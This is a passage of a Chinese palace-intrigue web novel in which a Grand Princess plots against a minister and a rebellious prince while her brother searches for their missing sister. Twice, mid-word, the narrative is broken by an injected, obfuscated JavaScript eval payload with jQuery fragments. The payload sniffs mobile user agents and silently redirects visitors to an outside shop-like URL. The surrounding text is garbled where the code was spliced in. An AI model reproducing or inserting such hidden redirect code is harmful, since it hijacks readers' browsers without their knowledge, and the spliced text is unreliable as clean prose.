林微仿佛看到功名利禄在向他招手。 其余御医对此甚为不屑,毕竟做大长公主的男宠,说出去到底有些不耻。他们之中大多数人都出自医学世家,做男宠到底是有失风骨。 钱衡量客套道:“那是自然。”钱衡量临退出御医局前,意味深长地看了林微一眼。 钱衡量心情大好,一路哼着曲儿,迎面与刘赞撞了个满怀。 刘赞本来心情便烦躁,白了跪在地上的钱衡量一眼,碍于他是福康宫里的人,只是不满地拂了拂衣衫:“走路小心些。”说罢,便不再理会钱衡量,径直进宫去寻刘安。 刘赞见着刘安,脸上方才露出笑容:“大姐姐!” 刘安笑着抬头看了眼,道:“这般高兴,可是有喜事?” 刘赞同样笑道:“我每逢见着姐姐,便高兴。” “大姐姐,第一场科考结束了,可还要继续举行后面的两场吗?” 刘安毫不犹豫道:“当然。” 刘赞叹了口气:“大姐姐,本次科考只有温国公家的女儿一人参与,那状元不就是只有她吗,后面的两场不过就是走个过场。” 刘安道:“即便是走个过场,那也得按着章程一场一场地来,这样来日嘉诚官居相位,才能服众。” “相位?”刘赞甚是惊诧,凑了过来,“大姐姐,丞相一职,自汉末便形同虚设,逐渐消亡,更何况,相位可是开国以来都未曾设立过的官职,姐姐贸然设立此职,是否要再想想?” 刘安胜券在握笑道:“近来想了良久,方才如此决定。来日嘉诚入仕,设立左右丞相之职位,尊先秦之传统,以右为尊。嘉诚为左相,程显为右相。如何?” “以右为尊?程显为右相?”刘赞思忖半晌,犹豫道:“大姐姐,程显在朝中处处作梗,却以他为尊?” 刘安笑着点点头。 刘赞踱了几步,眼珠转了数圈,犹豫道:“将欲歙之,必固张之,将于弱之,必固强之?” 欲使其亡,先令其狂! 刘赞见刘安笑着点头,继续道:“将于废之,必固举之。” 而后,两人异口同声道:“将欲取之,必固予之。”说罢,二人同步放声大笑。 刘安捏着手中的奏折道:“程显如今不过是个户部尚书,便这般嚣张,若是他担上这右相一职,还不知道要狂成什么样呢。” 想到这儿,刘安不免笑出声,撑起下巴好奇地看向刘赞:“赞儿你说,到那时,朝中那些个大臣是依附于程显这个寒门右相呢,还是以温嘉诚为首的望族左相呢?” 刘赞想了想,笑道:“若以性别论,朝中大臣只嘉诚一女子,必然会追随右相程显;可若以门阀论,必然会支持左相。” “哈哈哈哈哈,坐山观虎斗,痛快痛快!到那时无需姐姐出手,自会有人去对付程显。” 刘安道:“是呢。” “姐姐这招,实在是高!弟弟佩服。”刘赞笑着拱手作揖。 刘安摆摆手:“我近来脑子糊涂得很,哪里想得到这个。这一招,是我身边的谋士想到的。” 刘赞疑惑:“谋士?” “你还见过呢!”刘安神神秘秘道,“先前侍奉在我左右的钱衡量是也。” 刘赞眉头皱起:“钱……” 刘安道:“宫外那个算命先生。” “他……”刘赞瞪大了眼睛,神秘兮兮地凑到刘安耳边:“外男入宫,姐姐莫不是看上他了?”难道真像传言说的,钱衡量是姐姐的男宠? 刘安白了刘赞一眼,“胡说什么呢?” “总不会他……”刘赞皱着眉头,憋着嘴,不可置信地比划了一下。 刘安点点头。 “啊?他图什么?” “当然为了权呗。试问天下人,孰逃掌中权?” 刘赞听后,默然地点点头,是啊,权,天下人心之所向,又有谁能逃得过呢?大姐姐……是否亦是如此? 刘赞抬眼看向刘安,面前的大姐姐,运筹帷幄,弄权于股掌之中,似乎……有些陌生。 刘安对上刘赞的眼神,歪头笑着,正欲开口,忽而见钱衡量奉茶进殿,因而转向钱衡量,笑道:“你来得倒是巧。” 钱衡量弓着腰,笑着奉茶道:“能恰逢此时来为殿下奉茶,是奴之荣幸。” 刘赞目光转向钱衡量,想起方才的谈论,又细细打量起钱衡量,再一看,竟发觉钱衡量的面相变了,眉眼弯弯,奴颜婢膝,脸上尽是谄媚之相。 刘安笑着招呼刘赞道:“赞儿,尝尝看,这可是今年的新茶呢。” 刘赞接过茶盏,掩饰着眼中的情绪,小口品过后,夸赞道:“确实不错。” “大姐姐,宫外还有事,我先出宫了。”饮尽杯中茶,刘赞便迫不及待要出宫去。 此举正合钱衡量的意。 见殿内只留有大长公主刘安身边的近侍,钱衡量神秘兮兮道:“殿下近来头疼不已,奴倒是寻得一良方,有些疗效,殿下可要一试?” 刘安揉了揉太阳穴,点点头。 近来头疼更厉害了,也不知是不是连日失眠少觉的缘故,大业未定,如此下去可不行。 钱衡量先是安排刘安躺在榻上,当即便命人去传林微,随后燃上宁息香。 不多时,林微便带着药箱匆匆赶来。 钱衡量瞥了眼殿外,招呼林微进殿。 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274284|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微低着头,欲出声跪下行礼,被钱衡量一把捞起,林微有疑,但见钱衡量摇头示意,便也作罢,任由钱衡量拉着走近刘安小憩的榻前。 钱衡量在莲亭耳边低语道:“烦请姑娘去打盆水来,医官要净手。”莲亭虽不明白钱衡量要做什么,但还是按着钱衡量的意思去做。 随后钱衡量轻声道:“殿下,可要现在开始?” 刘安闭着眼睛,轻轻“嗯”了一声。 得到应允后,钱衡量回头看了林微一眼,在林微肩上重重拍了一下。 林微会意,挽起袖子,从药箱中取出些药材浸泡在温水中,随后又将双手放置在温水中浸泡清洗。 众人屏气凝神,皆是盯着林微的动作。 满宫内除了水声撩拨哗哗作响外,再无其他声响,听着倒有些凝神静气的感觉。 林微擦干手上的水珠,脚步轻轻来到刘安榻前,看着刘安盘起的发髻,一时不知何处下手,求助地看向钱衡量。 钱衡量轻轻推了下莲亭,莲亭迈着小碎步来到刘安身边,“殿下,可否卸掉钗环松掉发髻?” 刘安缓缓睁开眼,看向莲亭,抬手由莲亭扶起,又看向身旁这个陌生的医官,没有丝毫情绪波澜道:“你便是衡量提起的那味良方?”说罢,瞥了眼站在不远处的钱衡量。 钱衡量小跑着过来跪下:“殿下,这是御医局的林微,他按摩手法了得,奴想着殿下不愿吃药,兴许此法正适合殿下。” 刘安看向不远处的水盆,问道:“方才放的都是些什么药?” 林微回道:“酸枣仁,远志,柏实,合欢等物,均有宁神之效。” 钱衡量见刘安还是不甚相信,便道:“奴亲自试过,按过后,那可是立竿见影的效果,眼前的疲劳一扫而空,周身通畅。” 刘安闻言,方才由莲亭卸掉她的钗环容发,复又合眼躺下。 林微舒了口气,抬起胳膊擦了擦额间的一层密汗,直起身子,十指插入刘安发间,轻柔而不失力道地按压着头上的穴位。 待按到后脑的两处肌肉时,刘安吃痛,“嘶”得倒吸一口凉气。 莲亭和钱衡量忙紧张地上前询问,“殿下?” 钱衡量瞪了林微一眼。 林微战战兢兢回道:“殿下此处肌肉紧张,经络不通,故而按压会有些疼痛。也正是此处的肌肉紧张,牵拉着经络,致使殿下头痛不已,待此处舒缓后,殿下的头痛亦可缓解。” 刘安依旧闭着眼,只是“嗯”了一声。 莲亭与钱衡量见刘安未发脾气,便也作罢,继续由着林微按摩着。 温热的指腹在发间穿梭流转,指尖的药草香气与宁息香交织相伴,随着呼吸蹿入鼻腔。 不多时,几人便听到刘安均匀的呼吸声。 莲亭嘴型蠕动,并未发出声响:“殿下睡着了!”说着,轻手轻脚起身,拿来一床被子轻轻掖盖好。 三人相视一眼,蹑手蹑脚出了殿。 莲亭压低声音,喜道:“殿下已经许久未曾睡得这般安稳了。” 钱衡量亦是笑着点头看向林微。 林微则是躬身向二人作了个揖。 连着数日,林微都往返于福康宫与御医局,还被破格升为了御医。 若按着惯例,林微只是一个小小医工,即便是熬到胡子花白,也未必能当得上这宫里的御医。 可他如今却靠着巴结阉臣破格成了御医,其他御医怎么看都觉得他不顺眼。 再加上林微每次都去福康宫要留上半日。 一时间,宫内流言四起。 康佑帝刘绥虽听到些风声,可他并不愿管,不单如此,还任由流言传播。 刘安自从失眠缓解后,自觉身体康健,精力恢复如常。刘安她自信行得正坐得端,派身边近侍训诫过一些人后,更是不愿浪费精力在些虚无缥缈的事上。 女子科考结束,温嘉诚也如愿入仕为官,刘安更是忙得连轴转。 刘安处处抬举温嘉诚,视她为左膀右臂,更是破例准许她世袭家中的爵位,解决了温氏族内继嗣的问题。 温嘉诚也争气,顶着压力,在前朝做得风生水起,为天下女子做出了榜样。 眼下这番情形是刘绥、程显乃至王落儒都未曾料想到的。 他们未曾想到傅容光的案子并未吓退天下女子为政做官的心,他们未曾想到刘安会为了温嘉诚开设丞相之职,他们未曾想到温嘉诚会坚定不移地跟随着刘安,他们未曾想到温嘉诚的出现反而鼓舞了天下有才能的女子。 天下女子见温嘉诚拜相封爵,纷纷效仿,读书论理,当权管家,皆约定着要参加下一次科考,她们也要像温相一样,入朝为官,为国效力。 刘安顺势开设女子学堂、女子校场,培养女官训练女兵,待到来年开春,在京都开设女子文武双考场。 时间一长,再无人关注傅容光的案子,逍遥王刘赞从中运作一番,傅容光的案子判了下来,流放西南。 又恰逢康佑帝刘绥登基两年,特赦天下。 傅容光也因此免罪。 “容光!”刘赞亲自接傅容光回京,见着面前身形消瘦的她,刘赞心头忍不住一阵酸楚,若是他早些发现傅容光不见了,她也不会受这么多苦。 傅容光脚下不稳,依靠着刘赞的臂膀,双手紧紧握着刘赞的胳膊,气息虚弱语气坚定道:“逍遥王,我要见大长公主!我要见抚政大长公主!” 刘赞心疼道:“你如今才回了京,再好生休养几日吧,你有什么话要同大姐姐说,我向你传达便是。” 傅容光摇摇头,依旧坚持着要见刘安,她知道,她心头的这件事,除了大长公主刘安,除了温相,不能说与其他人,即便是面前的逍遥王刘赞也不行。 “我要见大长公主!此事紧要,我一定要尽快见到她!” 88. 安内(十三)草蛇灰线 刘赞没法,只得带着傅容光进宫见刘安。 刘安与温嘉诚见二人进来,又见刘赞如此紧张在意傅容光,相视一眼,随即打趣的眼神落在傅容光身上。 温嘉诚起身迎上,与刘赞共同扶起跪拜的傅容光:“早前听闻过你的一些事迹,今日总算是见着真容了。” 傅容光神色有些紧张,环顾四周看了眼宫内的侍从,一副欲言又止的样子。 温嘉诚以为傅容光有些窘迫不安,猜到兴许她有话要同刘安讲,看向坐着的刘安,得到她的授意后屏退宫中诸人,随即自己施礼却步退下。 刘安叫住温嘉诚:“嘉诚,你我一体同心,不妨留下来听听。” 刘安见傅容光脸色严肃,眉头微蹙,正色道:“傅容光,你可是有什么话要说?” 傅容光撩起衣袍,扑通一声跪在地上,双手交叠置于胸前:“殿下!草民被关押在刑部监牢时,曾亲眼目睹一桩惨案,作案手法就曾发生在孝懿太子身上!” “孝懿太子生前被人强行灌下一壶毒酒,而今相同的毒药又出现在刑部的监牢中,中毒之人的症状与孝懿太子的症状……别无二样,均是脸色铁青,唇色乌紫,七窍流血之状。” 此言一出,殿内三人均是愣在原地。 刘安起身,走近傅容光,眯起眼睛,居高临下看着腰背挺直跪在地上的傅容光,问了声:“你说什么?” 温嘉诚眼中蒙上一层雾气,不可置信地看向傅容光。 刘赞有些慌张,小跑着依次闭门阖窗,随后关切地半蹲在傅容光身旁,生怕傅容光才脱了罪又要获新罪:“容光,这话可不能乱说,你……你会不会是看错了?” 傅容光目光坚定,没有丝毫动摇道:“亲眼所见,千真万确。若有半句虚言,便叫五雷轰顶,永世——” 刘赞急得伸手覆在傅容光唇上,生怕誓言应验。 温嘉诚趔趄一步,仍是不敢相信:“当初……陷害孝懿太子的人不是早就被处置圈进了吗?怎么……怎么会呢?” 刘赞也是不敢相信:“是啊,下毒之人是我亲自抓的,也是我亲自审问的,从他嘴里供出了刘仲,再无他人啊!” 刘安神色冷静,问道:“中毒死的那个人是谁?你可看清下毒之人的面目?” 傅容光道:“中毒那个应该是户部侍郎黄崇安,他当初因贪污入狱,入狱当天,他的顶头上司户部尚书程显来看过他,为他打点好,又为他送了饭菜,茶饭过后,两三杯酒下肚,黄崇安暴毙而亡。” “我当时便在黄崇安对面的监牢,故而看得清楚听得仔细。” 刘赞惊诧:“黄崇安……他不是得了鼠疫早就死在刑部监牢中吗?” 刘安梳理着傅容光提到的这些事,当初黄崇安暴毙,她不是没怀疑过,只是黄崇安无足轻重,是死是活也没什么两样,再者,当初国库空虚牵扯刘赞,根本经不起查,黄崇安死了,将贪污的罪名背实,国库空虚的事也就此了结。 却不想这其中还有这样的隐情! “殿下!”温嘉诚扑通一声跪在刘安脚边,双手紧紧攥着刘安的衣袍,脸上早已是涕泗横流:“太子殿下含冤而死,原以为太子殿下沉冤昭雪,却不想报错了仇,真凶竟还好好地活在这个世上!太子殿下泉下有知,怎会安稳!求殿下处置程显!还太子殿下一个公道!” “容我想想,容我想想。”刘安坐回去,现在她的脑子有些乱。 原以为一切尽在她的掌握之中,却不想事态竟不知不觉间一步一步脱离了她的掌控。 刘安要再想想,想想这件事该怎么妥善恰当的处置。 当年孝懿太子之案,父皇杀了一干人等数万人,如今新帝登基才两年,天下初定,若是贸然重审旧案,只怕会引起臣民恐慌。 更何况如今早已是死无对证,又从何查起?即便她们几人心中都已认定孝懿太子的死与程显脱不了干系,可如今仅凭傅容光的一面之词,如何能天下臣民信服? 刘安她如今虽说大权在握,可……难保哪天还政于康佑帝后,鸟尽弓藏,如今她所推行的种种政策,都将会被推翻,若是由她执政期间重审孝懿太子的案子,日后是否也会…… 因此她们更需要证据,需要铁证,是能让程显永世不得翻案的铁证。 温嘉诚咬牙切齿道:“殿下,程显此人居心叵测,断不可再留了,还望殿下早做决断!”说罢,头砰砰磕在地上。 “我知道了,你们先下去吧。”刘安按着隐隐作痛的头,闭上眼睛不愿再看众人。 刘赞见刘安有些为难,忙搀扶起温嘉诚:“嫂嫂,你先起来,容大姐姐她再想想,大姐姐一定会想出一个万全之策的,你快起来。”说着,一边给傅容光使眼色。 傅容光抬手攀上温嘉诚的小臂,视线落向刘安身上,“太子妃殿下,不妨先起来。” 温嘉诚一怔,呵了口气,太子妃……好遥远,好陌生,许久未曾有人这么叫过她了。 不过这声称谓也提醒了她。 温嘉诚挣脱一左一右的刘赞与傅容光,绕过桌子,急得跪行数步,来到刘安脚边,紧紧抓着刘安的衣袍,声泪俱下道:“殿下!若论礼,我该称殿下,可若是论情,我该称殿下一声长姐。” “还请长姐看在与孝懿太子是血脉相连、骨肉至亲的姐弟的份儿上,惩治真凶,还他一个清白吧,让他九泉之下也可安息啊!” “长姐!” 刘安忍着头痛,抚摸着温嘉诚的头顶,抬眼看到一旁有些手足无措的傅容光,道:“赞儿,你且先带傅姑娘去偏殿休息。” 待刘赞与傅容光退下后,刘安对着温嘉诚和善道:“嘉诚,你们都是我的手足至亲,我又怎会坐视不理?只是我们现在知道了那杯毒酒是程显送的,可如今我们手上又没有什么确凿的证据,若是再被他们反将一军,联合朝臣将我们赶出朝廷,那才真是没了指望。” “嘉诚,你近来也入朝为相多日,朝中什么情形想必你也看得清楚。”说罢,又轻轻拍了拍温嘉诚的头顶,而后又给刘赞使了个眼色。 刘赞劝道:“嫂嫂,你先起来。” 温嘉诚无奈垂下脑袋,缓缓起身。 刘安又给温嘉诚吃了一颗定心丸:“嘉诚,你放心,我一定不会轻轻放过的。” 刘安虽有谋划除掉程显这个影响她执政的拦路虎,可那个法子需要时间。如今隐情曝出,见着温嘉诚这个样子,刘安怕她一念之差,会做出什么无法挽回的事情,无奈轻叹一声,只得先稳住温嘉诚,眉眼之间尽是爱怜之色,道:“嘉诚,许你几日休沐,你且好好休息——” 温嘉诚抹了一把眼泪,目光坚定道:“殿下,无须担心我。早在入仕那日起,我便发誓要与殿下共进退,如今朝中仅殿下与我二人,若是我休沐了,岂非要留殿下一人?” 刘安怔怔看了温嘉诚一眼,见她如此坚持,也只是道了声“好”。 程显背后是千千万万个寒门学子,不能轻易动他,更何况,诚王、刘仲、程显暗中有所往来,只是不知他们之间的往来到了哪一步。 如今刘仲被圈禁在京城,程显也在京城眼皮子底下,唯有诚王,盘踞栾南,是个麻烦。 刘安之所以还留着刘仲、程显二人,就是防备着诚王。诚王、刘仲皆有登基的指望,若是来日天下不稳,诚王与刘仲相争,两者必有一伤,也有可能两败俱伤,而她只需稳坐钓鱼台即可。 至少在除掉诚王这个隐患之前,程显还不能有事。 只是该如何除掉诚王呢? 诚王盘踞栾南几十年之久,因驻守边陲训有士兵,又得朝廷给养多年,早已是兵强马壮,处理起来十分棘手。 刘安正思索着对策,忽而想到许久未曾收到定北王刘昶的消息,因而问道:“莲音,昶儿年后不是来信说不久便要回京吗?怎的如今又没了消息?” 原说的能回京过个年,年关将至,又被胡人绊住了脚,本以为会年后元宵回京,不曾想又拖到了现在。 每次七弟回信,总是会说“边关诸事安好”,向来报喜不报忧,让她不要担心,可她日夜批阅奏折,怎会不知边境的形势严峻? 正说着,忽见一人风尘仆仆进殿来。 刘安抬眼一看,竟是许久没有消息的刘昶,激动地站起身来:“七弟!你可算是回来了!” 刘昶跪地拜见道:“边关大捷,臣弟刘昶不辱使命。” “好,好,好。”刘安绕过桌子,弯腰扶起刘昶,对弟弟的思念、欣慰、心疼,皆化作这几声的好。 七弟还未及冠的年纪,便已在边关待了数年,边关的风沙大…… 刘昶抬手揩去刘安眼角挂着的一颗泪,笑道:“这是好事,大姐姐该高兴才是。” 刘安连连点头:“是,该高兴,该高兴才是。” 刘昶神神秘秘低声道:“大姐姐交代我的事儿,现已有了进展。” 听这意思,是栾南有破绽了? 刘安问道:“七弟,可是……栾南?” 刘昶点点头,随即从怀中掏出一沓子纸并几枚铜钱递给刘安。 刘安疑惑,接过细看,翻过之后,察觉不妥,这几枚铜钱上的字样模糊,看着倒像是私铸币,因而问道:“我记得开国至今不曾发行过这些钱币啊!” 莫不是……刘安不由得冒出一身冷汗:“莫不是诚王私自铸造铜钱?那这沓子纸又是……” 刘昶一一解释道:“这一沓子,是诚王在栾南发行,说是什么代钱,用以代替铜钱。这几枚铜钱,是诚王在属地私自铸造的。” 私铸铜钱?温嘉诚瞪大了眼睛,紧紧盯向刘安手中的那几枚铜钱。 刘安不由自主后退半步,不可置信看向刘昶:“他……他豢养私兵、私铸铜钱……他要做什么!他这是要谋反吗?” 不过刘安心中又有些疑惑:“全国的铜矿不都归朝廷管吗?他又是哪里来的铜?” 刘昶道:“听说,在胡人那里,发现了一座铜矿。” “胡人?”刘安听后不免冷笑一声,“咱们这位诚王叔倒真是有本事。” “大姐姐,那我们如今?” “陛下他可知道?” “探查栾南是我私下去的,还未曾禀告陛下。” 刘安坐回书桌前,撑着下巴,食指有意无意地在脸颊上轻点着,细细思索着其中的利害。这件事若是由她去说,只怕那些不满她的朝臣们会从中作梗,那倒是不好了。 刘安思定,心中有了主意:“那便由陛下去处置吧。” 康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274285|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佑帝刘绥登基已有两年,一味的躲懒是不行的,有些事也该让他去做了。 刘安问道:“这些铜钱你那里还有多少?” 刘昶摇摇头:“诚王管得严,不许这些铜钱留出栾南地界,我身上只这几枚,姐姐可是需要更多的铜钱?” 刘安重新举起铜钱看着,铜钱上的字模糊,看着模棱两可;而后又放回手中摸着,摸着粗糙,不似正经铜钱那般精细。 刘安道:“只凭这几枚铜钱,恐怕诚王叔会想方设法地去脱罪,我们得需要更切实的铁证,最好是能抓住诚王叔与栾南暗中勾结的铁证,暗中通敌、私铸钱币、豢养私兵,哪一个不是死罪重罪?” 刘昶抱拳道:“姐姐放心,我一定会再找到证据的。” 刘安道:“这倒也不急,慢慢来,切忌打草惊蛇。这件事便先到此为止,除了你我嘉诚三人,不要再让旁人知晓。” 刘昶点点头:“我明白。” 刘安闭上眼睛,揉了揉发胀酸痛的眉心,道:“你先下去忙吧,我这里还有些折子要批。” 刘昶退行数步,抬头看了眼刘安,犹豫道:“大姐姐,可有五姐的消息?” 刘安闻言一怔,手中的折子僵住,自平定蔡桐叛乱之后,便许久不曾见到过这个妹妹的身影,即便是派人去寻,也未曾有过消息。 温嘉诚也停下手中的动作,支起耳朵听着。 刘安神色很快恢复如常,无奈摇头道:“已经派了不少人去寻,并未寻到什么踪迹。不过先前倒是收到五妹的一封信,让我们不必太担心她。” 刘昶张了张嘴,想看看刘宁写的那封信,不过很快又咽下话语,默然点点头,只要她无事,那便好。 正说着,刘赞来了。 刘安看了眼刘昶,知道自己这个弟弟刚正不阿,眼里揉不得一点沙子,若是让他知道自己后续的法子,只怕……会坏了自己的计划,便笑着支开刘昶:“昶儿,你在边关多日,想必很思念容娘娘吧,快回去洗漱洗漱,见过陛下后再去见过容娘娘。这些日子你不在京中,容娘娘可是很思念你呢。” “是。”刘昶瞥了眼刘赞,示意等会有话要问他。两人眼神交汇,便知对方心中所想,见刘赞默默眨眼回应,刘昶方才安心退下。 刘安拿出那几枚私铸币,问道:“赞儿,若是我们仿着这些铜钱的样式去铸造,需要多久?” 刘赞接过后仔细看了看,又掐着手指算了算,回道:“这些铜钱并不精致仔细,若是铸造,多则半年少则十几天。” 刘安点点头,垂下眼眸,沉思稍许,道:“也不需做得许多,四五吊钱即可,一两个月的时间能造出来吗?” 刘赞不免心中存疑:“大姐姐私铸钱币可是……这些铜钱是哪里来的?我怎么从未见过?” 刘安冷哼一声,言有所指:“这些都是咱们那位诚王叔铸造的。” 刘赞闻言大惊:“这……” 刘安道:“我已想好对策。这事儿我们不便插手,你按照我说的去做即可。” “待到程尚书、还有王太傅家的仆人上街采买时,给他们在正经铜钱中掺入少许这些私铸币。” “想必用不了多久,他们便会有所察觉。他们两个可都是陛下的左膀右臂,他们知道了,想必陛下也会知道。” 刘赞点点头:“还是大姐姐心思缜密。那我便吩咐人按着大姐姐的法子去做了。” “赞儿,傅姑娘曾为孝懿太子验过,不知当初孝懿太子被迫服下的是什么毒?”刘安知道,有诚王在一日,他们便不安一日,国家便不稳一日。既然诚王叔不仁,便不要怪他们这些子侄们不义。 “大姐姐是要……”刘赞瞪大了眼睛,是要赐诚王一杯毒酒吗?刘赞想到此处,急忙劝道:“大姐姐三思啊,再怎么说,他是我们的长辈,他如今已然犯了种种重罪,只需陛下发觉他的不臣之心后,依律处置即可,何须大姐姐插手?若是一杯毒酒此下去,只怕……只怕日后姐姐的名声……” 刘安并不畏惧:“诚王豢养私兵,若是处置起来,只怕又是流血千里,倘若不费一兵一卒便可解决掉他,一时的名声又算得了什么?来日国家安定天下太平,臣民自会明白我的用心。” “你且去忙吧,七弟还在外头等你呢。”刘安摆摆手,方才两人的小动作她都看在眼里。 刘赞张了张嘴,脸上讪笑着,只说了声:“是。”而后缓步退下。 都快走出大姐姐的福康宫了,怎么还没见着七弟刘昶?不是说好了等他吗? 刘赞左顾右盼地寻着,忽然身后传来一声: “我等你等得花都要谢了。” 刘赞被刘昶这声音吓了一跳,翻了个白眼,抚着胸口转身,“冷不丁地出声,要吓死我压!” 刘昶此时没心情同刘赞说笑,急忙问道:“你耳聪目明消息灵通,近来可有五姐消息?” 想到五姐叮嘱不许将她的行踪告诉任何人,刘赞不免有些犹豫。 刘昶与刘赞两个从小一同长大,见刘赞这般吞吞吐吐,便明白了。 刘昶一掌拍在刘赞肩上:“她不让你说?” 刘赞推开刘昶的胳膊,眼神躲闪:“你别问了。” 刘昶点点头,抱臂看着刘赞:“她在哪儿?” 89. 安内(十四)寻得刘宁 刘赞捏了捏方才被刘昶拍得生疼的肩膀,摇头道:“她不让说。” 刘昶摩拳擦掌,一言不发地亮出拳头,观赏着自己沙包大的拳头:“也不知拳法精进了没有。” 刘赞啧了一声,真是拿他没办法,用力按下刘昶的拳头:“我带你去个地方,你有本事就自己去找。” 二人结伴出宫,行至听音坊。 听着里面传来的丝竹之音,刘昶心中疑虑,难道她一直都在这里面纵情声色躲着他们吗? 刘昶指着听音坊,冷眼看向刘赞:“她一直都在这里吗?” 刘赞忙将自己撇干净:“我可没说。”说罢,便径直走进去。刘昶也紧随其后。 刘赞甩出折扇,四处张望着,问道:“沈姑娘可有空闲?” 听音坊管事的回道:“不得闲,两位爷还是寻其他姑娘去听曲儿吧,不妨先楼上雅间坐坐?” “也好。”刘赞合上折扇,带着刘昶上楼入座雅间。 两人堪堪听了三四首曲子,刘昶便坐不住了,以为刘赞在故意拖着他,面无表情,站起身便要往外面走:“六哥,你无须这般拿我寻开心,你既不想说,我自去寻便是。” “七弟!”刘赞忙追上去,他们来之前不是说好了吗,七弟他自己亲自找吗?哎呦! 刘昶愤而推门出去,头也不抬,迎面竟撞上了抱着琵琶的沈韵,刘昶忙伸手拉住:“小心!” 沈韵紧紧抱着琵琶,险些摔倒,待站稳身形后,认出这正是先前见过的定北王刘昶,见他脸色不好,忙施礼道:“婢子不慎惊扰尊驾,伏惟恕罪。” 刘昶定睛一看,认出沈韵,并未放在心上,只道了声“无妨”,随即快步下楼。 刘赞跟在其后,临行前还不忘瞥一眼沈韵。 “七弟!你慢些!我力竭,追不上你了,慢些!”刘赞好容易追上刘昶,拉着他的胳膊喘着粗气。 刘昶则是冷脸站在听音坊门口,等着刘赞解释。 刘赞深吸几大口气,稳了稳呼吸后,问道:“七弟,方才那沈韵,你可看仔细了?” 刘昶白了刘赞一眼,冷哼一声,他来此处是来寻五姐的,可不是来听伶人唱曲儿的,那沈韵,与他今日之事有何干系? 刘赞无奈摇摇头,他就知道!七弟并没有注意到沈韵手腕上戴的珠串,不得已,上前一步,继续提点道:“你没看到那沈韵手腕上戴的是什么吗?” 刘昶回过神来,疑惑地看了刘赞一眼,细细回想,一无所获,他哪里关心这个? 正说着,沈韵从听音坊出来,一辆马车早就恭候多时。 刘昶转头看向不远处的沈韵,在沈韵上车时,衣袖滑落,露出一截干净白皙的小臂,手腕处戴着一副手串。 刘昶定睛一看,这不正是他先前送给刘宁的吗? 此时刘昶也顾不得许多,流星阔步般冲向沈韵,毫无半点怜香惜玉之情,一把擒住沈韵手腕,紧紧盯着那副手串。 即便是如今开放边市,与胡人沟通贸易,有不少的宝石涌入国内,可这副手串上用的宝石在京中实属罕见,能觅得一颗已是很难得了,更何况是几十颗饱满圆润的宝石呢? 除了刘宁手腕上的那串,再无在旁人手上看到过。 刘昶一眼便认出这幅手串,厉声质问道:“这手串你是哪儿来的?” 沈韵腕间这手串,是他第一次打了胜仗胡人进献的,阿宁一直形影不离地戴着,宝贝得很,如今怎么会到她手上? 沈韵拉起袖子遮住手串,扭动着手腕企图挣脱刘昶的束缚,但皆是徒劳,刘昶是战场上握剑举枪的手,力道极大,沈韵只觉得自己的骨头快要被捏碎了。 刘赞忙上前劝着:“七弟,你别冲动!” 沈韵一旁的小婢女那尔丹见状,情急之下从袖中抽出一柄弯月胡刀,径直朝着刘昶面门刺过来。 胡刀破空袭来,在头顶太阳的照射下,闪过一丝晃眼的银光,刘昶下意识偏头躲闪,手中力道仍不见松泄。 刀刃锋利,齐齐划断一缕刘昶鬓边散落的发丝。 刘赞不由得惊呼一声,后退数步不敢靠近,毕竟刀剑无眼,他又不似七弟那般武艺高强,万一伤到可就不好了。 沈韵同样惊得瞪大了眼睛,她竟然忘了身旁的那尔丹了,待回过神来,不由得呵斥一声:“不得无礼!” 那尔丹听得这声训斥,方才停住手。 刘昶并不打算放过她,一手捏着沈韵的手腕,另一只手迅速抬起捏住那尔丹握刀的手腕,一眼扫过那尔丹手中的胡刀,冷眼道:“弯月胡刀?” 难道是胡人?想到这儿,刘昶神色一凛,手中的力道加重。 那尔丹冷哼一声,并不理会。 沈韵怕刘昶继续追问下去,忍着手腕上的痛楚,嘴角扯出一抹笑意,十分勉强道:“可是哪里得罪了殿下?还请殿下明示。” 见刘昶还是不肯放手,沈韵倒吸一口凉气,神色戚戚道:“妾是全靠这双手弹奏琵琶讨生活,殿下若是还不放手,只怕妾这双手便废了,还望殿下垂怜。” 刘昶目光如刀:“我只问你,手串是哪儿来的?” “七弟!”刘赞无奈扶额,上前一步,轻轻拍了拍刘昶臂膀,可刘昶手劲儿依旧不见松。 沈韵眼中不免涌出几颗滚大的泪珠,堆在眼眶里,楚楚可怜地看向周围民众。 周围围观的百姓们皆是指指点点议论着。 “一个大男人欺负两个小姑娘算什么本事?” “是啊,什么仇什么怨,要砸人家的饭碗!” “小声些,看他们穿着不凡,只怕来头不小呢,别得罪了他们。” “怕什么!如今大长公主监国理政,政治清明,即便是皇亲国戚,也得遵守王法!” “嘘嘘!他看过来了……” 刘昶一个眼神冷冷扫过,本该在战场中弥漫的肃杀之气扑面而来,围观的人纷纷垂头,皆不敢与之对视,生怕惹祸上身,默默离去。 听闻民众们提及刘安,刘赞怕他们二人会影响刘安声名,一个眼神扫过去,摇头示意。 刘昶方才心不甘情不愿地松手。 只是方才问的那个问题,沈韵还是没给出答案。 沈韵带着那尔丹向刘昶与刘赞二人行过礼后,揉着有些肿胀疼痛的手腕上了马车。 刘昶紧盯着那架远去的马车,即便是马车扬起的飞尘渐渐落定,他还依然盯着那个方向,良久,才开口道:“六哥,她是不是与五姐有关?” 刘赞“啧”了一声,连连摇头笑道:“看来你还是不傻啊。” 